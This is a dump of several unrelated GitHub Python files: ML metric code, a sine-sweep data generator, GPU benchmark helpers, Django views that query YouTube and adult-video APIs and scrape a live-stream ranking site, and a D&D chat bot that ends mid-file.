y_proba]\n \n npv_y=confusion_matrix(y_test_cv, y_pred_youden)[0,0]/sum(np.array(y_pred_youden)==0)\n npv_y_cv.append(npv_y)\n\n prec_y= precision_score(y_true=y_test_cv, y_pred= y_pred_youden, pos_label=pos_label)\n prec_y_cv.append(prec_y)\n\n recall_y= recall_score(y_true=y_test_cv, y_pred= y_pred_youden, pos_label=pos_label)\n recall_y_cv.append(recall_y)\n\n f1_y= f1_score(y_true=y_test_cv, y_pred= y_pred_youden, pos_label=pos_label)\n f1_y_cv.append(f1_y)\n\n ###need to debug this.###\n auc_y=roc_auc_score(y_true=y_test_cv, y_score= y_proba)\n auc_y_cv.append(auc_y)\n \n youden_dic_cv= {'model':type(model).__name__, \n 'auc':np.mean(auc_y_cv),\n 'auc_sd':np.std(auc_y_cv),\n 'precision':np.mean(prec_y_cv),\n 'precision_sd':np.std(prec_y_cv),\n 'recall':np.mean(recall_y_cv),\n 'recall_sd':np.std(recall_y_cv),\n 'f1':np.mean(f1_y_cv),\n 'f1_sd':np.std(f1_y_cv),\n 'npv':np.mean(npv_y_cv),\n 'npv_sd':np.std(npv_y_cv)}\n \n return(youden_dic_cv)\n\n","repo_name":"geickelb/mimiciii-antibiotics-opensource","sub_path":"notebooks/modeling_fxn.py","file_name":"modeling_fxn.py","file_ext":"py","file_size_in_byte":23534,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"31"} +{"seq_id":"2977470302","text":"# -*- coding: utf-8 -*-\n\n'''\n SweepSineData.py\n \n sweep frequency from 10k to 40k of sine wave.\n keep on writing in to csv file.\n file size is limited to 500 lines\n\n Data format: \n\n [MSB] Q1(4x),I1(4x),Q0(4x),I0(4x) [LSB]\n'''\n\n#temp file generated in your local\nfout='./output.txt'\n\nimport numpy as np \nimport time\n\nfstart=10*1E3 #E3 kHz\nfstep=10*1E3\nfend=40*1E3 #E3 kHz\namp1=1\n#BUFFERDEPTH=100\nPACKETSIZE=64\nDATASIZE=16\nDATASIZE_hex=int(DATASIZE/4)\nVMAX=3\nAMPCONVRATE= 21845#(digital data FS)/(amp FS[V]) e.g (2^16-1)/3V=65535/3=21845\nFs=1E6 #sampling freq \ntstep=1/Fs # step size\nfd1=fstart #[kHz]\namp1=1\n\nMAXFILELINES = 200\nBUFSIZE=200\n\n'''create binary number of n with length specified as bits '''\ndef bindigits(n, bits):\n# s = bin(n & int(\"1\"*bits, 2))[2:]\n s = bin(n & int(\"1\"*bits, 2))[2:]\n return (\"{0:0>%s}\" % (bits)).format(s)\n\n'''convert dec to hex signed as 2's compliment ''' \ndef decToHex(number,bits):\n \n if number > 0 :\n bin_number = bindigits(number,bits)\n else:\n bin_number = bindigits((~abs(number) + 1),bits)\n \n hex_number = \"{:04X}\".format(int(bin_number,2))\n # print(int(hex_number,16))\n return hex_number\n\ndef putFIFO(fifo,i0,i1,q0,q1,DATASIZE,fifodepth):\n if len(fifo) >= fifodepth:\n fifo=fifo[1:]\n # fifo=tmp\n \n fifo.append(decToHex(round(q1),DATASIZE) + decToHex(round(i1),DATASIZE) +decToHex(round(q0),DATASIZE) + decToHex(round(i0),DATASIZE))\n return fifo\n\nif __name__ == '__main__':\n\n \n dout=[]\n \n tt=0\n while True:\n with open(fout,\"w\") as fo:\n \n i0=AMPCONVRATE*amp1*np.sin(2*np.pi*fd1*tt)\n i1=AMPCONVRATE*amp1*np.sin(2*np.pi*fd1*(tt+tstep))\n q0=AMPCONVRATE*amp1*np.cos(2*np.pi*fd1*tt)\n q1=AMPCONVRATE*amp1*np.cos(2*np.pi*fd1*(tt+tstep))\n \n dout=putFIFO(dout,i0,i1,q0,q1,DATASIZE,MAXFILELINES)\n \n for line in dout: \n fo.writelines(line+\"\\n\") \n \n tt = tt + tstep*2\n if int((tt/(tstep*2))) % BUFSIZE ==0: \n if (fd1==fend):\n fd1=fstart\n print(f\"reset to {fd1}Hz\")\n\n else:\n fd1=fd1+fstep\n print(f\"{fd1}Hz\")\n \n time.sleep(0.02)\n \n # i0=AMPCONVRATE*amp1*np.sin(2*np.pi*fd1*tt)\n # i1=AMPCONVRATE*amp1*np.sin(2*np.pi*fd1*(tt+tstep))\n # q0=AMPCONVRATE*amp1*np.cos(2*np.pi*fd1*tt)\n # q1=AMPCONVRATE*amp1*np.cos(2*np.pi*fd1*(tt+tstep))\n \n # dout.append(decToHex(round(q1),DATASIZE) + decToHex(round(i1),DATASIZE) +decToHex(round(q0),DATASIZE) + decToHex(round(i0),DATASIZE))\n \n \n # for line in dout: \n # fo.writelines(line+\"\\n\") \n \n # tt = tt + tstep*2\n \n \n","repo_name":"asakotod/python","sub_path":"sweepSineDataLimited.py","file_name":"sweepSineDataLimited.py","file_ext":"py","file_size_in_byte":2869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22196882683","text":"import sys\nimport numpy as np\nimport tensorflow as tf\nimport torch\nfrom datetime import datetime\nfrom time import time\n\n#device_name = sys.argv[1] # Choose device from cmd line. Options: gpu or cpu\n#shape = (int(sys.argv[2]), int(sys.argv[2]))\ndef benchmark_tf(device_name=\"cpu\",in_shape=10000):\n shape = (in_shape, in_shape)\n\n if device_name == \"gpu\":\n device_name = \"/gpu:0\"\n else:\n device_name = \"/cpu:0\"\n\n with tf.device(device_name):\n random_matrix = tf.random_uniform(shape=shape, minval=0, maxval=1)\n dot_operation = tf.matmul(random_matrix, tf.transpose(random_matrix))\n sum_operation = tf.reduce_sum(dot_operation)\n\n startTime = datetime.now()\n with tf.Session(config=tf.ConfigProto(log_device_placement=True)) as session:\n for i in range(1,100):\n result = session.run(sum_operation)\n print(result)\n timetaken = datetime.now() - startTime\n # It can be hard to see the results on the terminal with lots of output -- add some newlines to improve readability.\n print(\"\\n\" * 5)\n print(\"Shape:\", shape, \"Device:\", device_name)\n print(device_name,\" time taken on :\", str(timetaken))\n return timetaken\n\ndef benchmark_pt(device_name=\"cpu\",in_shape=10000):\n #shape = (in_shape, in_shape)\n timetaken = None\n if device_name == \"gpu\":\n if(not torch.cuda.is_available()):\n print(\"Gpu not detected returning ...\")\n return 0\n with torch.cuda.device(0):\n startTime = datetime.now()\n for i in range(1,100):\n random_matrix = torch.cuda.FloatTensor(in_shape,in_shape).uniform_(0,1)\n dot_operation = random_matrix * random_matrix.t()\n sum_operation = torch.sum(dot_operation)\n timetaken = datetime.now() - startTime\n print(sum_operation)\n\n elif device_name == \"cpu\":\n startTime = datetime.now()\n for i in range(1,100):\n random_matrix = torch.FloatTensor(in_shape,in_shape).uniform_(0,1)\n dot_operation = random_matrix * random_matrix.t()\n sum_operation = torch.sum(dot_operation)\n timetaken = datetime.now() - startTime\n print(\"\\n\" * 5)\n print(\"Shape:\", in_shape, \"Device:\", device_name)\n print(device_name,\" time taken on :\", str(timetaken))\n return timetaken\n\ndef benchmark_pt_nv(device_name=\"cpu\",in_shape=10000):\n #shape = (in_shape/10, in_shape/10)\n timetaken = None\n #Iter = 100000\n if device_name == \"gpu\":\n if(not torch.cuda.is_available()):\n print(\"Gpu not detected returning ...\")\n return 0\n tensor1 = torch.cuda.FloatTensor(in_shape,in_shape)\n tensor2 = torch.cuda.FloatTensor(in_shape,in_shape)\n startTime = datetime.now()\n for i in range(1,100):\n tensor3 = tensor1.matmul(tensor2)\n sum = torch.sum(tensor3)\n timetaken = datetime.now() - startTime\n\n elif device_name == \"cpu\":\n tensor1 = torch.FloatTensor(in_shape,in_shape)\n tensor2 = torch.FloatTensor(in_shape,in_shape)\n startTime = datetime.now()\n for i in range(1,100):\n tensor3 = tensor1.matmul(tensor2)\n sum = torch.sum(tensor3)\n timetaken = datetime.now() - startTime\n\n print(\"\\n\" * 5)\n print(\"Shape:\", in_shape, \"Device:\", device_name)\n print(device_name,\" time taken on :\", str(timetaken))\n return timetaken\ndef device_info():\n gpu = torch.cuda.get_device_name(0)\n with open(\"/proc/cpuinfo\", \"r\") as f:\n info = f.readlines()\n cpuinfo = [x.strip().split(\":\")[1] for x in info if \"model name\" in x]\n cpu = cpuinfo[1]\n return (gpu,cpu)","repo_name":"Azure-Samples/azure-intelligent-edge-patterns","sub_path":"GpuReferenceModules/SampleSolution/modules/GPUModule/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":3727,"program_lang":"python","lang":"en","doc_type":"code","stars":113,"dataset":"github-code","pt":"31"} +{"seq_id":"25870752960","text":"import logging\nfrom datetime import datetime\nfrom typing import Optional\n\nimport pandas as pd\nimport pytz\n\n# from .forms import LiveSearchForm\nimport requests\nfrom apiclient.discovery import build\nfrom apiclient.errors import HttpError\nfrom bs4 import BeautifulSoup\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.http import Http404, HttpResponse\nfrom django.shortcuts import get_object_or_404, redirect, render\nfrom django.urls import reverse_lazy\nfrom django.views.generic import (\n CreateView,\n DeleteView,\n ListView,\n TemplateView,\n UpdateView,\n)\nfrom selenium import webdriver\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.webdriver.chrome.service import Service\nfrom webdriver_manager.chrome import ChromeDriverManager\n\nfrom .forms import VideoIdForm, VideoSearchForm\n\nlogger = logging.getLogger(__name__)\n\n# YouTube APIの各種設定\nYOUTUBE_API_KEY = settings.YOUTUBE_API_KEY\nYOUTUBE_API_SERVICE_NAME = \"youtube\"\nYOUTUBE_API_VERSION = \"v3\"\n\n\nclass videoSearch(TemplateView):\n \"\"\"Youtube動画検索\"\"\"\n\n template_name = \"video_search.html\"\n\n def get_context_data(self, *args, **kwargs):\n context = super().get_context_data(**kwargs)\n # Youtubeインスタンス作成\n youtube = build(\n YOUTUBE_API_SERVICE_NAME,\n YOUTUBE_API_VERSION,\n developerKey=YOUTUBE_API_KEY,\n cache_discovery=False,\n )\n form = VideoSearchForm(self.request.GET or None)\n if form.is_valid():\n # 入力フォームからkeyword,display_number取得\n keyword = form.cleaned_data.get(\"keyword\")\n display_number = int(form.cleaned_data.get(\"display_number\"))\n order = form.cleaned_data.get(\"order\")\n context[\"form\"] = form\n # videoIdのリストを定義\n videos: list[str] = []\n # columns定義したDataFrameを作成\n video_columns = [\n \"channelId\",\n \"channelTitle\",\n \"channelURL\",\n \"title\",\n \"description\",\n \"publishedAt\",\n \"videoId\",\n \"viewCount\",\n \"likeCount\",\n \"dislikeCount\",\n \"commentCount\",\n ]\n\n video_df = pd.DataFrame(columns=video_columns)\n\n try:\n search_response = (\n youtube.search()\n .list(\n q=keyword,\n regionCode=\"JP\",\n type=\"video\",\n part=\"id,snippet\",\n order=order,\n maxResults=display_number,\n )\n .execute()\n )\n\n for search_result in search_response.get(\"items\", []):\n if (\n search_result[\"id\"][\"kind\"] == \"youtube#video\"\n and search_result[\"snippet\"][\"liveBroadcastContent\"] == \"none\"\n ):\n videos.append(search_result[\"id\"][\"videoId\"])\n\n for video in videos:\n search_videos = (\n youtube.videos()\n .list(\n id=video,\n part=\"id, snippet, player, statistics\",\n maxResults=1,\n regionCode=\"JP\",\n )\n .execute()\n )\n # pprint.pprint(search_videos)\n for search_video in search_videos.get(\"items\", []):\n se = pd.Series(\n [\n search_video[\"snippet\"][\"channelId\"],\n search_video[\"snippet\"][\"channelTitle\"],\n \"https://www.youtube.com/channel/\"\n + search_video[\"snippet\"][\"channelId\"],\n search_video[\"snippet\"][\"title\"],\n search_video[\"snippet\"][\"description\"],\n search_video[\"snippet\"][\"publishedAt\"],\n search_video[\"id\"],\n int(search_video[\"statistics\"][\"viewCount\"]),\n int(search_video[\"statistics\"][\"likeCount\"]),\n int(search_video[\"statistics\"][\"dislikeCount\"]),\n int(search_video[\"statistics\"][\"commentCount\"]),\n ],\n video_columns,\n )\n video_df = video_df.append(se, ignore_index=True)\n # 再生回数で降順\n sorted_video_df = video_df.sort_values([\"viewCount\"], ascending=False)\n context = {\n \"form\": VideoSearchForm(), # フォーム初期化\n \"sorted_video_df\": sorted_video_df,\n }\n if order == \"date\":\n messages.success(self.request, f'\"{keyword}\"を含み、最近公開された動画で再生数順に表示します。')\n else:\n messages.success(self.request, f'\"{keyword}\"を含み、全ての動画で再生数順に表示します。')\n return context\n\n except:\n # messages.error(self.request, 'エラーが発生しました。')\n return context\n\n\nclass YoutubeLiveRanking(TemplateView):\n \"\"\"YoutubeLiveランキング\"\"\"\n\n template_name = \"youtubelive_ranking.html\"\n\n def get_context_data(self, *args, **kwargs):\n context = super().get_context_data(**kwargs)\n # Youtubeインスタンス作成\n youtube = build(\n YOUTUBE_API_SERVICE_NAME,\n YOUTUBE_API_VERSION,\n developerKey=YOUTUBE_API_KEY,\n cache_discovery=False,\n )\n search_response = (\n youtube.search()\n .list(\n # q='ThtcrBgB4KY',\n regionCode=\"JP\",\n eventType=\"live\",\n type=\"video\",\n part=\"id,snippet\",\n order=\"viewCount\",\n maxResults=20,\n )\n .execute()\n )\n\n videos: list[str] = []\n for search_result in search_response.get(\"items\", []):\n if search_result[\"snippet\"][\"liveBroadcastContent\"] == \"live\":\n videos.append(search_result[\"id\"][\"videoId\"])\n\n # 生放送情報のカラム定義\n live_columns = [\n \"channelTitle\",\n \"channelUrl\",\n \"title\",\n \"description\",\n \"videoId\",\n \"actualStartTime\",\n \"concurrentViewers\",\n ]\n live_df = pd.DataFrame(columns=live_columns)\n for video in videos:\n search_video = (\n youtube.videos()\n .list(\n id=video,\n part=\"id, snippet, liveStreamingDetails, player, statistics\",\n maxResults=1,\n regionCode=\"JP\",\n )\n .execute()\n )\n\n for search_video_result in search_video.get(\"items\", []):\n se = pd.Series(\n [\n search_video_result[\"snippet\"][\"channelTitle\"],\n \"https://www.youtube.com/channel/\"\n + search_video_result[\"snippet\"][\"channelId\"],\n search_video_result[\"snippet\"][\"title\"],\n search_video_result[\"snippet\"][\"description\"],\n search_video_result[\"id\"],\n iso_to_jstdt(\n search_video_result[\"liveStreamingDetails\"][\"actualStartTime\"]\n ),\n int(\n # search_video_result[\"liveStreamingDetails\"][\"concurrentViewers\"]\n search_video_result.get(\"liveStreamingDetails\", {}).get(\"concurrentViewers\", 0)\n ),\n ],\n live_columns,\n )\n live_df = live_df.append(se, ignore_index=True)\n # 視聴者数が多い順にソート\n sorted_df = live_df.sort_values([\"concurrentViewers\"], ascending=False)\n\n context = {\"sorted_df\": sorted_df}\n\n return context\n\n\ndef iso_to_jstdt(iso_str: str) -> Optional[datetime]:\n \"\"\"ISO時間(文字列)を日本時間(datetime型)に変換\n\n Args:\n iso_str (str):ISO時間\n\n Returns:\n str: 日本時間\n \"\"\"\n dt = None\n try:\n dt = datetime.strptime(iso_str, \"%Y-%m-%dT%H:%M:%S.%fZ\")\n dt = pytz.utc.localize(dt).astimezone(pytz.timezone(\"Asia/Tokyo\"))\n except ValueError:\n try:\n dt = datetime.strptime(iso_str, \"%Y-%m-%dT%H:%M:%S.%f%z\")\n dt = dt.astimezone(pytz.timezone(\"Asia/Tokyo\"))\n except ValueError:\n pass\n return dt\n\n\nclass RetrieveYoutubeComment(TemplateView):\n \"\"\"Youtubeコメントを取得\"\"\"\n\n template_name = \"youtube_comment.html\"\n\n def get_context_data(self, *args, **kwargs):\n context = super().get_context_data(**kwargs)\n\n form = VideoIdForm(self.request.GET or None)\n if form.is_valid():\n # 入力フォームからkeyword,display_number取得\n video_id = form.cleaned_data.get(\"video_id\")\n display_number = int(form.cleaned_data.get(\"display_number\"))\n context[\"form\"] = form\n\n try:\n # 動画IDからコメント取得\n comment_df = retrieve_video_commnet(video_id, display_number)\n # 高評価数で降順\n comment_df = comment_df.sort_values([\"like_cnt\"], ascending=False)\n context = {\n \"form\": VideoIdForm(), # フォーム初期化\n \"comment_df\": comment_df,\n }\n return context\n\n except:\n return context\n\n\ndef retrieve_video_commnet(video_id: str, comment_cnt: int) -> pd.DataFrame:\n \"\"\"YouTube動画IDからコメントを取得する\n\n Args:\n video_id (str): Youtube動画ID\n comment_cnt (int): 取得コメント数\n\n Returns:\n pd.DataFrame: 取得したコメント情報のDataFrame\n \"\"\"\n YOUTUBE_URL = \"https://www.googleapis.com/youtube/v3/\"\n params = {\n \"key\": YOUTUBE_API_KEY,\n \"part\": \"snippet\",\n \"videoId\": video_id,\n \"order\": \"relevance\",\n \"textFormat\": \"plaintext\",\n \"maxResults\": comment_cnt,\n }\n\n response = requests.get(YOUTUBE_URL + \"commentThreads\", params=params)\n resource = response.json()\n\n comment_list: list[str] = []\n for comment_info in resource[\"items\"]:\n comment = {\n # コメント\n \"text\": comment_info[\"snippet\"][\"topLevelComment\"][\"snippet\"][\n \"textDisplay\"\n ],\n # グッド数\n \"like_cnt\": comment_info[\"snippet\"][\"topLevelComment\"][\"snippet\"][\n \"likeCount\"\n ],\n # 返信数\n \"reply_cnt\": comment_info[\"snippet\"][\"totalReplyCount\"],\n }\n comment_list.append(comment)\n\n comment_df = pd.DataFrame(comment_list)\n return comment_df\n\n\nclass AllliveRanking(TemplateView):\n \"\"\"ちくわちゃんランキング\"\"\"\n\n template_name = \"all_live_ranking.html\"\n\n def get_context_data(self, *args, **kwargs):\n context = super().get_context_data(**kwargs)\n ALL_LIVE_URL = \"http://www.chikuwachan.com/twicas/\"\n all_live_df = scrape_chikuwachan_ranking(ALL_LIVE_URL)\n context = {\"all_live_df\": all_live_df}\n logger.info(\"chikuwachan ranking: fullspec\")\n return context\n\n\nclass YoutubeRanking(TemplateView):\n \"\"\"Youtube by ちくわちゃんランキング\"\"\"\n\n template_name = \"youtube_ranking.html\"\n\n def get_context_data(self, *args, **kwargs):\n context = super().get_context_data(**kwargs)\n YOUTUBE_LIVE_URL = \"http://www.chikuwachan.com/live/TUB/\"\n youtube_live_df = scrape_chikuwachan_ranking(YOUTUBE_LIVE_URL)\n context = {\"youtube_live_df\": youtube_live_df}\n logger.info(\"chikuwachan ranking: Youtube\")\n return context\n\n\nclass TwicasRanking(TemplateView):\n \"\"\"Twicas by ちくわちゃんランキング\"\"\"\n\n template_name = \"twicas_ranking.html\"\n\n def get_context_data(self, *args, **kwargs):\n context = super().get_context_data(**kwargs)\n TWICAS_LIVE_URL = \"http://www.chikuwachan.com/live/CAS/\"\n twicas_live_df = scrape_chikuwachan_ranking(TWICAS_LIVE_URL)\n context = {\"twicas_live_df\": twicas_live_df}\n logger.info(\"chikuwachan ranking: Twicas\")\n return context\n\n\nclass TwitchRanking(TemplateView):\n \"\"\"Twitch by ちくわちゃんランキング\"\"\"\n\n template_name = \"twitch_ranking.html\"\n\n def get_context_data(self, *args, **kwargs):\n context = super().get_context_data(**kwargs)\n TWITCH_LIVE_URL = \"http://www.chikuwachan.com/live/TCH/\"\n twitch_live_df = scrape_chikuwachan_ranking(TWITCH_LIVE_URL)\n context = {\"twitch_live_df\": twitch_live_df}\n logger.info(\"chikuwachan ranking: Twitch\")\n return context\n\n\ndef scrape_chikuwachan_ranking(URL: str) -> pd.DataFrame:\n \"\"\"ちくわちゃんランキングから生放送情報をスクレイピングする\n\n Args:\n URL (str): スクレイピング対象URL\n\n Returns:\n pd.DataFrame: pandasのDataFrame型でスクレイピング情報を返却\n \"\"\"\n options = webdriver.ChromeOptions()\n options.add_argument(\"--headless\")\n options.add_argument(\"--no-sandbox\")\n options.add_argument(\"--disable-dev-shm-usage\")\n driver = webdriver.Chrome(ChromeDriverManager().install(), options=options)\n driver.get(URL)\n html = driver.page_source\n\n soup = BeautifulSoup(html, \"lxml\")\n live_list: list[str] = []\n for i in range(1, 26):\n common_selector = f\"#ranking > div > ul > li:nth-child({i}) > \"\n title_selector = common_selector + \"div.content > a.liveurl > div.title\"\n topic_selector = common_selector + \"div.content > a.liveurl > div.topic\"\n href_selector = common_selector + \"div.content > a.liveurl\"\n icon_selector = (\n common_selector + \"div.content > a.liveurl > div.image_user > img\"\n )\n image_selector = common_selector + \"a > span > img\"\n site_selector = common_selector + \"div.content > a.siteicon > img\"\n viewers_selector = common_selector + \"div > div.count\"\n progress_selector = common_selector + \"div.content > div.progress\"\n\n if i < 11:\n \"10位以下と以上で要素が異なるため\"\n live = {\n # 'title': driver.find_element_by_css_selector(title_selector).text,\n # 'topic': driver.find_element_by_css_selector(topic_selector).text,\n # 'url': driver.find_element_by_css_selector(href_selector).get_attribute('href'),\n # 'icon': driver.find_element_by_css_selector(icon_selector).get_attribute('src'),\n # 'image': driver.find_element_by_css_selector(image_selector).get_attribute('src'),\n # 'site': driver.find_element_by_css_selector(site_selector).get_attribute('src')\n \"title\": soup.select_one(title_selector).get_text(),\n \"topic\": soup.select_one(topic_selector).get_text(),\n \"url\": soup.select_one(href_selector).get(\"href\"),\n \"image\": soup.select_one(image_selector).get(\"src\"),\n \"icon\": soup.select_one(icon_selector).get(\"src\"),\n \"site\": soup.select_one(site_selector).get(\"src\"),\n \"viewers\": soup.select_one(viewers_selector).get_text(),\n \"progress\": soup.select_one(progress_selector).get_text(),\n }\n live_list.append(live)\n else:\n live = {\n # 'title': driver.find_element_by_css_selector(title_selector).text,\n # 'topic': driver.find_element_by_css_selector(topic_selector).text,\n # 'url': driver.find_element_by_css_selector(href_selector).get_attribute('href'),\n # 'icon': driver.find_element_by_css_selector(icon_selector).get_attribute('data-src'),\n # 'image': driver.find_element_by_css_selector(image_selector).get_attribute('data-src'),\n # 'site': driver.find_element_by_css_selector(site_selector).get_attribute('src')\n \"title\": soup.select_one(title_selector).get_text(),\n \"topic\": soup.select_one(topic_selector).get_text(),\n \"url\": soup.select_one(href_selector).get(\"href\"),\n \"image\": soup.select_one(image_selector).get(\"data-src\"),\n \"icon\": soup.select_one(icon_selector).get(\"data-src\"),\n \"site\": soup.select_one(site_selector).get(\"src\"),\n \"viewers\": soup.select_one(viewers_selector).get_text(),\n \"progress\": soup.select_one(progress_selector).get_text(),\n }\n live_list.append(live)\n live_df = pd.DataFrame(live_list)\n logger.info(\"scraping completed\")\n return live_df\n\n\nclass pornConfirm(TemplateView):\n template_name = \"porn_confirm.html\"\n\n\nclass PornhubRanking(TemplateView):\n \"\"\"Pornhubランキング\"\"\"\n\n template_name = \"pornhub_ranking.html\"\n\n def get_context_data(self, *args, **kwargs):\n context = super().get_context_data(**kwargs)\n video_list_df = get_pornhub(26)\n context = {\"video_list_df\": video_list_df}\n return context\n\n\ndef get_pornhub(count: int) -> pd.DataFrame:\n \"\"\"PornHUB APIからビデオ情報を取得する\n\n Args:\n count (int): 取得件数\n\n Returns:\n pd.DataFrame: API取得したビデオ情報を返却\n \"\"\"\n from pornhub_api import PornhubApi\n from pornhub_api.backends.aiohttp import AioHttpBackend\n\n api = PornhubApi()\n category = \"japanese\"\n data = api.search.search(\n # \"japanese\",\n period=\"day\",\n category=[category]\n # tags=[\"japanese\"],\n # ordering=\"rating\"\n )\n THUMBNAIL_URL = \"https://ci.phncdn.com/\"\n video_list: list[str] = []\n for video in data.videos[:count]:\n data = {\n \"title\": video.title,\n \"publish_date\": video.publish_date,\n \"views\": video.views,\n \"rating\": float(video.rating),\n \"duration\": video.duration,\n \"url\": \"https://www.pornhub.com/view_video.php?\" + video.url.query,\n \"image1\": THUMBNAIL_URL + video.thumbs[0].src.path,\n \"image2\": THUMBNAIL_URL + video.thumbs[2].src.path,\n \"image3\": THUMBNAIL_URL + video.thumbs[4].src.path,\n \"image4\": THUMBNAIL_URL + video.thumbs[6].src.path,\n \"image5\": THUMBNAIL_URL + video.thumbs[8].src.path,\n \"image6\": THUMBNAIL_URL + video.thumbs[10].src.path,\n \"image7\": THUMBNAIL_URL + video.thumbs[12].src.path,\n \"image8\": THUMBNAIL_URL + video.thumbs[14].src.path,\n }\n video_list.append(data)\n video_list_df = pd.DataFrame(video_list) # 辞書のリストからDF生成\n video_list_df = video_list_df.sort_values([\"rating\", \"views\"], ascending=False)\n logger.info(f\"pornhub video category: {category}\")\n return video_list_df\n\n\nclass FanzaRanking(TemplateView):\n \"\"\"Fanzaランキング\"\"\"\n\n template_name = \"fanza_ranking.html\"\n\n def get_context_data(self, *args, **kwargs):\n context = super().get_context_data(**kwargs)\n video_list_df = get_fanza(10)\n context = {\"video_list_df\": video_list_df}\n return context\n\n\ndef get_fanza(count: int) -> pd.DataFrame:\n \"\"\"Fanza APIからビデオ情報を取得する\n\n Args:\n count (int): 取得件数\n\n Returns:\n pd.DataFrame: API取得したビデオ情報を返却\n \"\"\"\n import dmm\n import datetime\n\n api_id = settings.FANZA_API_ID\n affiliate_id = settings.FANZA_AFFILIATE_ID\n\n # インスタンスを作成\n api = dmm.API(api_id=api_id, affiliate_id=affiliate_id)\n\n now = datetime.datetime.now()\n av_list: list[str] = []\n items = api.item_search(site=\"FANZA\", service=\"digital\", lte_date=now.strftime(\"%Y-%m-%dT%H:%M:%S\"), hits=count)\n for i in items[\"result\"][\"items\"]:\n av_dict = {\n \"content_id\": i[\"content_id\"],\n \"title\": i[\"title\"],\n \"date\": i[\"date\"],\n \"affiliateURL\": i[\"affiliateURL\"],\n \"sampleMovieURL\": i.get(\"sampleMovieURL\", {}).get(\"size_644_414\", None),\n \"review_average\": float(i.get('review', {}).get('average', 0)),\n \"review_count\": int(i.get('review', {}).get('count', 0))\n }\n av_list.append(av_dict)\n av_df = pd.DataFrame(av_list)\n av_sorted_df = av_df.sort_values(by=[\"review_count\", \"review_average\"], ascending=False)\n return av_sorted_df\n","repo_name":"1shikawa/VisualizingTweets","sub_path":"VisualizingYoutube/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":20918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5719930507","text":"#!/usr/bin/env python\n\n\nimport random\nimport time\nimport requests\nfrom bs4 import BeautifulSoup\nimport redis\n\n\ndef parseInput(rawCommand, cache):\n \"\"\"Takes a raw command. Parses for available responses\"\"\"\n commandList = rawCommand.split()\n if commandList[0].lower() == \"roll\":\n return_string = parseRoll(commandList)\n return(return_string)\n\n\n elif commandList[0].lower() == \"weapon\":\n commandString = cleanCommandList(commandList)\n return_string = getWeaponInfo(commandString)\n return return_string\n\n\n elif commandList[0].lower() == \"armor\":\n commandString = cleanCommandList(commandList)\n return_string = getArmorInfo(commandString)\n return return_string\n\n elif commandList[0].lower() == \"spell\":\n commandString = cleanCommandList(commandList)\n return_string = getSpellInfo(commandString, cache)\n return return_string\n\n # Return the help string\n\n else:\n \n return_string = \"Hi! I'm dndbot. Here's what I can do: \\n\" +\\\n \"Roll some die (`@dndbot roll 4d4`) \\n\" +\\\n \"Tell you about regular weapons (weapon broadsword or `weapon showall`)\" +\\\n \"\\n\" +\\\n \"Tell you about regular armor (`armor hide` or `armor showall`)\" +\\\n \"\\n\" +\\\n \"Tell you about spells (`spell fireball` or `spell Dispel Magic`)\" +\\\n \"\\n\"\n \n return return_string\n\n\n\ndef parseRoll(commandList):\n \"\"\" Takes a list of command words. Parses them, calls the required \n rolling functions\"\"\"\n\n # Remove the command \"roll\"\n del commandList[0]\n \n # Let's allow \"a\" for the singular\n if commandList[0] == \"a\":\n del commandList[0]\n tmpVar = commandList[0]\n commandList[0] = \"1\" + tmpVar\n commandString = commandList[0]\n elif len(commandList) == 1:\n commandString = commandList[0]\n\n\n else:\n try:\n int(commandList[0])\n # Let's squish them all together\n commandString = str()\n for item in commandList:\n commandString = commandString + item\n except:\n return_string = \"I'm not sure what to roll.\"\n return(return_string)\n \n return_string = rollSomeDie(commandString) \n return(return_string)\n\n\n\ndef cleanCommandList(commandList):\n \"\"\" Takes a list of command words. Parses them, formats the string\n to call the info functions\"\"\"\n\n # Pop off the command word\n del commandList[0]\n commandString = \"\"\n for item in commandList:\n commandString = commandString + item + \" \"\n \n return(commandString)\n\n\n\n\ndef rollSomeDie(dieCommand):\n \"\"\" Takes a string of a partial command, determines how many die to roll.\n Returns the result \"\"\"\n help_string = \" Rolling Die: \\n\" +\\\n \"Expected syntax is something like \\n\" +\\\n \"roll 4d6 \\n\" +\\\n \"or \\n\" + \\\n \"roll a d20\"\n dieList = dieCommand.split('d')\n if len(dieList) == 2:\n if dieList[0] == \"\":\n return_string = \"Rolled 1d\"+ str(dieList[1]) + \"\\n\" + \"Result: \" \\\n + str(getDieResult(int(dieList[1])))\n return return_string\n elif int(dieList[0]):\n total = 0\n each_result = list()\n for x in range(0,int(dieList[0])):\n intermediate_result = getDieResult(int(dieList[1]))\n total = total + intermediate_result\n each_result.append(intermediate_result)\n return_string = \"Rolled \" + dieList[0] + \"d\" + dieList[1] + \\\n \"\\n\" + \"Each result is: \" + str(each_result) + \"\\n\" + \\\n \"Total is: \" + str(total) + \"\\n\"\n return return_string\n else:\n return help_string\n else:\n return help_string\n\n\ndef getDieResult(dieNumber):\n \"\"\" Rolls a d$dieNumber die and returns the result \"\"\"\n dieNumber = dieNumber + 1\n dieResult = random.randrange(1,dieNumber)\n return dieResult\n\n\n\ndef buildWeaponDictFromFile(weaponDict, fileName):\n \"\"\" Takes an existing weapon dict, a file with a dict dump from \n the public d and d wepaons page. Returns the weaponDict\"\"\"\n\n\n with open(fileName) as weapondata:\n rawcontent = weapondata.read()\n newDict = eval(rawcontent)\n weapondata.close()\n for key in newDict:\n newDict[key.lower()] = newDict.pop(key)\n returning_dict = dict(weaponDict.items() + newDict.items())\n return returning_dict\n\n\ndef getAllWeaponTypes():\n allWeapons = dict()\n allWeapons = buildWeaponDictFromFile(allWeapons, \"./weapons/simplemelee.txt\")\n allWeapons = buildWeaponDictFromFile(allWeapons, \"./weapons/simpleranged.txt\")\n allWeapons = buildWeaponDictFromFile(allWeapons, \"./weapons/martialmelee.txt\")\n allWeapons = buildWeaponDictFromFile(allWeapons, \"./weapons/martialranged.txt\")\n return allWeapons\n\n\ndef getWeaponInfo(commandString):\n commandString = commandString.strip()\n # First, build the weapon dict\n allWeapons = getAllWeaponTypes()\n if commandString.lower() == \"showall\":\n return_string = \"\"\n for weapon in 